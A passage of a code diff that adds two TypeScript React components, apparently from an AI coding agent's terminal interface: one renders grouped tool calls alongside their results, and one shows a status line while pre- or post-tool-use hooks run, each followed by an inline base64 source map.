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
src/components/messages/GroupedToolUseContent.tsx ADDED
@@ -0,0 +1,58 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import type { ToolResultBlockParam, ToolUseBlockParam } from '@anthropic-ai/sdk/resources/messages/messages.mjs';
2
+ import * as React from 'react';
3
+ import { filterToolProgressMessages, findToolByName, type Tools } from '../../Tool.js';
4
+ import type { GroupedToolUseMessage } from '../../types/message.js';
5
+ import type { buildMessageLookups } from '../../utils/messages.js';
6
+ type Props = {
7
+ message: GroupedToolUseMessage;
8
+ tools: Tools;
9
+ lookups: ReturnType<typeof buildMessageLookups>;
10
+ inProgressToolUseIDs: Set<string>;
11
+ shouldAnimate: boolean;
12
+ };
13
+ export function GroupedToolUseContent({
14
+ message,
15
+ tools,
16
+ lookups,
17
+ inProgressToolUseIDs,
18
+ shouldAnimate
19
+ }: Props): React.ReactNode {
20
+ const tool = findToolByName(tools, message.toolName);
21
+ if (!tool?.renderGroupedToolUse) {
22
+ return null;
23
+ }
24
+
25
+ // Build a map from tool_use_id to result data
26
+ const resultsByToolUseId = new Map<string, {
27
+ param: ToolResultBlockParam;
28
+ output: unknown;
29
+ }>();
30
+ for (const resultMsg of message.results) {
31
+ for (const content of resultMsg.message.content) {
32
+ if (content.type === 'tool_result') {
33
+ resultsByToolUseId.set(content.tool_use_id, {
34
+ param: content,
35
+ output: resultMsg.toolUseResult
36
+ });
37
+ }
38
+ }
39
+ }
40
+ const toolUsesData = message.messages.map(msg => {
41
+ const content = msg.message.content[0];
42
+ const result = resultsByToolUseId.get(content.id);
43
+ return {
44
+ param: content as ToolUseBlockParam,
45
+ isResolved: lookups.resolvedToolUseIDs.has(content.id),
46
+ isError: lookups.erroredToolUseIDs.has(content.id),
47
+ isInProgress: inProgressToolUseIDs.has(content.id),
48
+ progressMessages: filterToolProgressMessages(lookups.progressMessagesByToolUseID.get(content.id) ?? []),
49
+ result
50
+ };
51
+ });
52
+ const anyInProgress = toolUsesData.some(d => d.isInProgress);
53
+ return tool.renderGroupedToolUse(toolUsesData, {
54
+ shouldAnimate: shouldAnimate && anyInProgress,
55
+ tools
56
+ });
57
+ }
58
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJUb29sUmVzdWx0QmxvY2tQYXJhbSIsIlRvb2xVc2VCbG9ja1BhcmFtIiwiUmVhY3QiLCJmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyIsImZpbmRUb29sQnlOYW1lIiwiVG9vbHMiLCJHcm91cGVkVG9vbFVzZU1lc3NhZ2UiLCJidWlsZE1lc3NhZ2VMb29rdXBzIiwiUHJvcHMiLCJtZXNzYWdlIiwidG9vbHMiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsImluUHJvZ3Jlc3NUb29sVXNlSURzIiwiU2V0Iiwic2hvdWxkQW5pbWF0ZSIsIkdyb3VwZWRUb29sVXNlQ29udGVudCIsIlJlYWN0Tm9kZSIsInRvb2wiLCJ0b29sTmFtZSIsInJlbmRlckdyb3VwZWRUb29sVXNlIiwicmVzdWx0c0J5VG9vbFVzZUlkIiwiTWFwIiwicGFyYW0iLCJvdXRwdXQiLCJyZXN1bHRNc2ciLCJyZXN1bHRzIiwiY29udGVudCIsInR5cGUiLCJzZXQiLCJ0b29sX3VzZV9pZCIsInRvb2xVc2VSZXN1bHQiLCJ0b29sVXNlc0RhdGEiLCJtZXNzYWdlcyIsIm1hcCIsIm1zZyIsInJlc3VsdCIsImdldCIsImlkIiwiaXNSZXNvbHZlZCIsInJlc29sdmVkVG9vbFVzZUlEcyIsImhhcyIsImlzRXJyb3IiLCJlcnJvcmVkVG9vbFVzZUlEcyIsImlzSW5Qcm9ncmVzcyIsInByb2dyZXNzTWVzc2FnZXMiLCJwcm9ncmVzc01lc3NhZ2VzQnlUb29sVXNlSUQiLCJhbnlJblByb2dyZXNzIiwic29tZSIsImQiXSwic291cmNlcyI6WyJHcm91cGVkVG9vbFVzZUNvbnRlbnQudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB0eXBlIHtcbiAgVG9vbFJlc3VsdEJsb2NrUGFyYW0sXG4gIFRvb2xVc2VCbG9ja1BhcmFtLFxufSBmcm9tICdAYW50aHJvcGljLWFpL3Nkay9yZXNvdXJjZXMvbWVzc2FnZXMvbWVzc2FnZXMubWpzJ1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQge1xuICBmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyxcbiAgZmluZFRvb2xCeU5hbWUsXG4gIHR5cGUgVG9vbHMsXG59IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IEdyb3VwZWRUb29sVXNlTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICcuLi8uLi91dGlscy9tZXNzYWdlcy5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgbWVzc2FnZTogR3JvdXBlZFRvb2xVc2VNZXNzYWdlXG4gIHRvb2xzOiBUb29sc1xuICBsb29rdXBzOiBSZXR1cm5UeXBlPHR5cGVvZiBidWlsZE1lc3NhZ2VMb29rdXBzPlxuICBpblByb2dyZXNzVG9vbFVzZUlEczogU2V0PHN0cmluZz5cbiAgc2hvdWxkQW5pbWF0ZTogYm9vbGVhblxufVxuXG5leHBvcnQgZnVuY3Rpb24gR3JvdXBlZFRvb2xVc2VDb250ZW50KHtcbiAgbWVzc2FnZSxcbiAgdG9vbHMsXG4gIGxvb2t1cHMsXG4gIGluUHJvZ3Jlc3NUb29sVXNlSURzLFxuICBzaG91bGRBbmltYXRlLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCB0b29sID0gZmluZFRvb2xCeU5hbWUodG9vbHMsIG1lc3NhZ2UudG9vbE5hbWUpXG4gIGlmICghdG9vbD8ucmVuZGVyR3JvdXBlZFRvb2xVc2UpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgLy8gQnVpbGQgYSBtYXAgZnJvbSB0b29sX3VzZV9pZCB0byByZXN1bHQgZGF0YVxuICBjb25zdCByZXN1bHRzQnlUb29sVXNlSWQgPSBuZXcgTWFwPFxuICAgIHN0cmluZyxcbiAgICB7IHBhcmFtOiBUb29sUmVzdWx0QmxvY2tQYXJhbTsgb3V0cHV0OiB1bmtub3duIH1cbiAgPigpXG4gIGZvciAoY29uc3QgcmVzdWx0TXNnIG9mIG1lc3NhZ2UucmVzdWx0cykge1xuICAgIGZvciAoY29uc3QgY29udGVudCBvZiByZXN1bHRNc2cubWVzc2FnZS5jb250ZW50KSB7XG4gICAgICBpZiAoY29udGVudC50eXBlID09PSAndG9vbF9yZXN1bHQnKSB7XG4gICAgICAgIHJlc3VsdHNCeVRvb2xVc2VJZC5zZXQoY29udGVudC50b29sX3VzZV9pZCwge1xuICAgICAgICAgIHBhcmFtOiBjb250ZW50LFxuICAgICAgICAgIG91dHB1dDogcmVzdWx0TXNnLnRvb2xVc2VSZXN1bHQsXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgY29uc3QgdG9vbFVzZXNEYXRhID0gbWVzc2FnZS5tZXNzYWdlcy5tYXAobXNnID0+IHtcbiAgICBjb25zdCBjb250ZW50ID0gbXNnLm1lc3NhZ2UuY29udGVudFswXVxuICAgIGNvbnN0IHJlc3VsdCA9IHJlc3VsdHNCeVRvb2xVc2VJZC5nZXQoY29udGVudC5pZClcbiAgICByZXR1cm4ge1xuICAgICAgcGFyYW06IGNvbnRlbnQgYXMgVG9vbFVzZUJsb2NrUGFyYW0sXG4gICAgICBpc1Jlc29sdmVkOiBsb29rdXBzLnJlc29sdmVkVG9vbFVzZUlEcy5oYXMoY29udGVudC5pZCksXG4gICAgICBpc0Vycm9yOiBsb29rdXBzLmVycm9yZWRUb29sVXNlSURzLmhhcyhjb250ZW50LmlkKSxcbiAgICAgIGlzSW5Qcm9ncmVzczogaW5Qcm9ncmVzc1Rvb2xVc2VJRHMuaGFzKGNvbnRlbnQuaWQpLFxuICAgICAgcHJvZ3Jlc3NNZXNzYWdlczogZmlsdGVyVG9vbFByb2dyZXNzTWVzc2FnZXMoXG4gICAgICAgIGxvb2t1cHMucHJvZ3Jlc3NNZXNzYWdlc0J5VG9vbFVzZUlELmdldChjb250ZW50LmlkKSA/PyBbXSxcbiAgICAgICksXG4gICAgICByZXN1bHQsXG4gICAgfVxuICB9KVxuXG4gIGNvbnN0IGFueUluUHJvZ3Jlc3MgPSB0b29sVXNlc0RhdGEuc29tZShkID0+IGQuaXNJblByb2dyZXNzKVxuXG4gIHJldHVybiB0b29sLnJlbmRlckdyb3VwZWRUb29sVXNlKHRvb2xVc2VzRGF0YSwge1xuICAgIHNob3VsZEFuaW1hdGU6IHNob3VsZEFuaW1hdGUgJiYgYW55SW5Qcm9ncmVzcyxcbiAgICB0b29scyxcbiAgfSlcbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsY0FDRUEsb0JBQW9CLEVBQ3BCQyxpQkFBaUIsUUFDWixtREFBbUQ7QUFDMUQsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUNFQywwQkFBMEIsRUFDMUJDLGNBQWMsRUFDZCxLQUFLQyxLQUFLLFFBQ0wsZUFBZTtBQUN0QixjQUFjQyxxQkFBcUIsUUFBUSx3QkFBd0I7QUFDbkUsY0FBY0MsbUJBQW1CLFFBQVEseUJBQXlCO0FBRWxFLEtBQUtDLEtBQUssR0FBRztFQUNYQyxPQUFPLEVBQUVILHFCQUFxQjtFQUM5QkksS0FBSyxFQUFFTCxLQUFLO0VBQ1pNLE9BQU8sRUFBRUMsVUFBVSxDQUFDLE9BQU9MLG1CQUFtQixDQUFDO0VBQy9DTSxvQkFBb0IsRUFBRUMsR0FBRyxDQUFDLE1BQU0sQ0FBQztFQUNqQ0MsYUFBYSxFQUFFLE9BQU87QUFDeEIsQ0FBQztBQUVELE9BQU8sU0FBU0MscUJBQXFCQSxDQUFDO0VBQ3BDUCxPQUFPO0VBQ1BDLEtBQUs7RUFDTEMsT0FBTztFQUNQRSxvQkFBb0I7RUFDcEJFO0FBQ0ssQ0FBTixFQUFFUCxLQUFLLENBQUMsRUFBRU4sS0FBSyxDQUFDZSxTQUFTLENBQUM7RUFDekIsTUFBTUMsSUFBSSxHQUFHZCxjQUFjLENBQUNNLEtBQUssRUFBRUQsT0FBTyxDQUFDVSxRQUFRLENBQUM7RUFDcEQsSUFBSSxDQUFDRCxJQUFJLEVBQUVFLG9CQUFvQixFQUFFO0lBQy9CLE9BQU8sSUFBSTtFQUNiOztFQUVBO0VBQ0EsTUFBTUMsa0JBQWtCLEdBQUcsSUFBSUMsR0FBRyxDQUNoQyxNQUFNLEVBQ047SUFBRUMsS0FBSyxFQUFFdkIsb0JBQW9CO0lBQUV3QixNQUFNLEVBQUUsT0FBTztFQUFDLENBQUMsQ0FDakQsQ0FBQyxDQUFDO0VBQ0gsS0FBSyxNQUFNQyxTQUFTLElBQUloQixPQUFPLENBQUNpQixPQUFPLEVBQUU7SUFDdkMsS0FBSyxNQUFNQyxPQUFPLElBQUlGLFNBQVMsQ0FBQ2hCLE9BQU8sQ0FBQ2tCLE9BQU8sRUFBRTtNQUMvQyxJQUFJQSxPQUFPLENBQUNDLElBQUksS0FBSyxhQUFhLEVBQUU7UUFDbENQLGtCQUFrQixDQUFDUSxHQUFHLENBQUNGLE9BQU8sQ0FBQ0csV0FBVyxFQUFFO1VBQzFDUCxLQUFLLEVBQUVJLE9BQU87VUFDZEgsTUFBTSxFQUFFQyxTQUFTLENBQUNNO1FBQ3BCLENBQUMsQ0FBQztNQUNKO0lBQ0Y7RUFDRjtFQUVBLE1BQU1DLFlBQVksR0FBR3ZCLE9BQU8sQ0FBQ3dCLFFBQVEsQ0FBQ0MsR0FBRyxDQUFDQyxHQUFHLElBQUk7SUFDL0MsTUFBTVIsT0FBTyxHQUFHUSxHQUFHLENBQUMxQixPQUFPLENBQUNrQixPQUFPLENBQUMsQ0FBQyxDQUFDO0lBQ3RDLE1BQU1TLE1BQU0sR0FBR2Ysa0JBQWtCLENBQUNnQixHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDO0lBQ2pELE9BQU87TUFDTGYsS0FBSyxFQUFFSSxPQUFPLElBQUkxQixpQkFBaUI7TUFDbkNzQyxVQUFVLEVBQUU1QixPQUFPLENBQUM2QixrQkFBa0IsQ0FBQ0MsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUN0REksT0FBTyxFQUFFL0IsT0FBTyxDQUFDZ0MsaUJBQWlCLENBQUNGLEdBQUcsQ0FBQ2QsT0FBTyxDQUFDVyxFQUFFLENBQUM7TUFDbERNLFlBQVksRUFBRS9CLG9CQUFvQixDQUFDNEIsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUNsRE8sZ0JBQWdCLEVBQUUxQywwQkFBMEIsQ0FDMUNRLE9BQU8sQ0FBQ21DLDJCQUEyQixDQUFDVCxHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDLElBQUksRUFDekQsQ0FBQztNQUNERjtJQUNGLENBQUM7RUFDSCxDQUFDLENBQUM7RUFFRixNQUFNVyxhQUFhLEdBQUdmLFlBQVksQ0FBQ2dCLElBQUksQ0FBQ0MsQ0FBQyxJQUFJQSxDQUFDLENBQUNMLFlBQVksQ0FBQztFQUU1RCxPQUFPMUIsSUFBSSxDQUFDRSxvQkFBb0IsQ0FBQ1ksWUFBWSxFQUFFO0lBQzdDakIsYUFBYSxFQUFFQSxhQUFhLElBQUlnQyxhQUFhO0lBQzdDckM7RUFDRixDQUFDLENBQUM7QUFDSiIsImlnbm9yZUxpc3QiOltdfQ==
src/components/messages/HookProgressMessage.tsx ADDED
@@ -0,0 +1,116 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { c as _c } from "react/compiler-runtime";
2
+ import * as React from 'react';
3
+ import type { HookEvent } from 'src/entrypoints/agentSdkTypes.js';
4
+ import type { buildMessageLookups } from 'src/utils/messages.js';
5
+ import { Box, Text } from '../../ink.js';
6
+ import { MessageResponse } from '../MessageResponse.js';
7
+ type Props = {
8
+ hookEvent: HookEvent;
9
+ lookups: ReturnType<typeof buildMessageLookups>;
10
+ toolUseID: string;
11
+ verbose: boolean;
12
+ isTranscriptMode?: boolean;
13
+ };
14
+ export function HookProgressMessage(t0) {
15
+ const $ = _c(22);
16
+ const {
17
+ hookEvent,
18
+ lookups,
19
+ toolUseID,
20
+ isTranscriptMode
21
+ } = t0;
22
+ let t1;
23
+ if ($[0] !== hookEvent || $[1] !== lookups.inProgressHookCounts || $[2] !== toolUseID) {
24
+ t1 = lookups.inProgressHookCounts.get(toolUseID)?.get(hookEvent) ?? 0;
25
+ $[0] = hookEvent;
26
+ $[1] = lookups.inProgressHookCounts;
27
+ $[2] = toolUseID;
28
+ $[3] = t1;
29
+ } else {
30
+ t1 = $[3];
31
+ }
32
+ const inProgressHookCount = t1;
33
+ const resolvedHookCount = lookups.resolvedHookCounts.get(toolUseID)?.get(hookEvent) ?? 0;
34
+ if (inProgressHookCount === 0) {
35
+ return null;
36
+ }
37
+ if (hookEvent === "PreToolUse" || hookEvent === "PostToolUse") {
38
+ if (isTranscriptMode) {
39
+ let t2;
40
+ if ($[4] !== inProgressHookCount) {
41
+ t2 = <Text dimColor={true}>{inProgressHookCount} </Text>;
42
+ $[4] = inProgressHookCount;
43
+ $[5] = t2;
44
+ } else {
45
+ t2 = $[5];
46
+ }
47
+ let t3;
48
+ if ($[6] !== hookEvent) {
49
+ t3 = <Text dimColor={true} bold={true}>{hookEvent}</Text>;
50
+ $[6] = hookEvent;
51
+ $[7] = t3;
52
+ } else {
53
+ t3 = $[7];
54
+ }
55
+ const t4 = inProgressHookCount === 1 ? " hook" : " hooks";
56
+ let t5;
57
+ if ($[8] !== t4) {
58
+ t5 = <Text dimColor={true}>{t4} ran</Text>;
59
+ $[8] = t4;
60
+ $[9] = t5;
61
+ } else {
62
+ t5 = $[9];
63
+ }
64
+ let t6;
65
+ if ($[10] !== t2 || $[11] !== t3 || $[12] !== t5) {
66
+ t6 = <MessageResponse><Box flexDirection="row">{t2}{t3}{t5}</Box></MessageResponse>;
67
+ $[10] = t2;
68
+ $[11] = t3;
69
+ $[12] = t5;
70
+ $[13] = t6;
71
+ } else {
72
+ t6 = $[13];
73
+ }
74
+ return t6;
75
+ }
76
+ return null;
77
+ }
78
+ if (resolvedHookCount === inProgressHookCount) {
79
+ return null;
80
+ }
81
+ let t2;
82
+ if ($[14] === Symbol.for("react.memo_cache_sentinel")) {
83
+ t2 = <Text dimColor={true}>Running </Text>;
84
+ $[14] = t2;
85
+ } else {
86
+ t2 = $[14];
87
+ }
88
+ let t3;
89
+ if ($[15] !== hookEvent) {
90
+ t3 = <Text dimColor={true} bold={true}>{hookEvent}</Text>;
91
+ $[15] = hookEvent;
92
+ $[16] = t3;
93
+ } else {
94
+ t3 = $[16];
95
+ }
96
+ const t4 = inProgressHookCount === 1 ? " hook\u2026" : " hooks\u2026";
97
+ let t5;
98
+ if ($[17] !== t4) {
99
+ t5 = <Text dimColor={true}>{t4}</Text>;
100
+ $[17] = t4;
101
+ $[18] = t5;
102
+ } else {
103
+ t5 = $[18];
104
+ }
105
+ let t6;
106
+ if ($[19] !== t3 || $[20] !== t5) {
107
+ t6 = <MessageResponse><Box flexDirection="row">{t2}{t3}{t5}</Box></MessageResponse>;
108
+ $[19] = t3;
109
+ $[20] = t5;
110
+ $[21] = t6;
111
+ } else {
112
+ t6 = $[21];
113
+ }
114
+ return t6;
115
+ }
116
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkhvb2tFdmVudCIsImJ1aWxkTWVzc2FnZUxvb2t1cHMiLCJCb3giLCJUZXh0IiwiTWVzc2FnZVJlc3BvbnNlIiwiUHJvcHMiLCJob29rRXZlbnQiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsInRvb2xVc2VJRCIsInZlcmJvc2UiLCJpc1RyYW5zY3JpcHRNb2RlIiwiSG9va1Byb2dyZXNzTWVzc2FnZSIsInQwIiwiJCIsIl9jIiwidDEiLCJpblByb2dyZXNzSG9va0NvdW50cyIsImdldCIsImluUHJvZ3Jlc3NIb29rQ291bnQiLCJyZXNvbHZlZEhvb2tDb3VudCIsInJlc29sdmVkSG9va0NvdW50cyIsInQyIiwidDMiLCJ0NCIsInQ1IiwidDYiLCJTeW1ib2wiLCJmb3IiXSwic291cmNlcyI6WyJIb29rUHJvZ3Jlc3NNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB0eXBlIHsgSG9va0V2ZW50IH0gZnJvbSAnc3JjL2VudHJ5cG9pbnRzL2FnZW50U2RrVHlwZXMuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICdzcmMvdXRpbHMvbWVzc2FnZXMuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi9NZXNzYWdlUmVzcG9uc2UuanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIGhvb2tFdmVudDogSG9va0V2ZW50XG4gIGxvb2t1cHM6IFJldHVyblR5cGU8dHlwZW9mIGJ1aWxkTWVzc2FnZUxvb2t1cHM+XG4gIHRvb2xVc2VJRDogc3RyaW5nXG4gIHZlcmJvc2U6IGJvb2xlYW5cbiAgaXNUcmFuc2NyaXB0TW9kZT86IGJvb2xlYW5cbn1cblxuZXhwb3J0IGZ1bmN0aW9uIEhvb2tQcm9ncmVzc01lc3NhZ2Uoe1xuICBob29rRXZlbnQsXG4gIGxvb2t1cHMsXG4gIHRvb2xVc2VJRCxcbiAgaXNUcmFuc2NyaXB0TW9kZSxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgaW5Qcm9ncmVzc0hvb2tDb3VudCA9XG4gICAgbG9va3Vwcy5pblByb2dyZXNzSG9va0NvdW50cy5nZXQodG9vbFVzZUlEKT8uZ2V0KGhvb2tFdmVudCkgPz8gMFxuICBjb25zdCB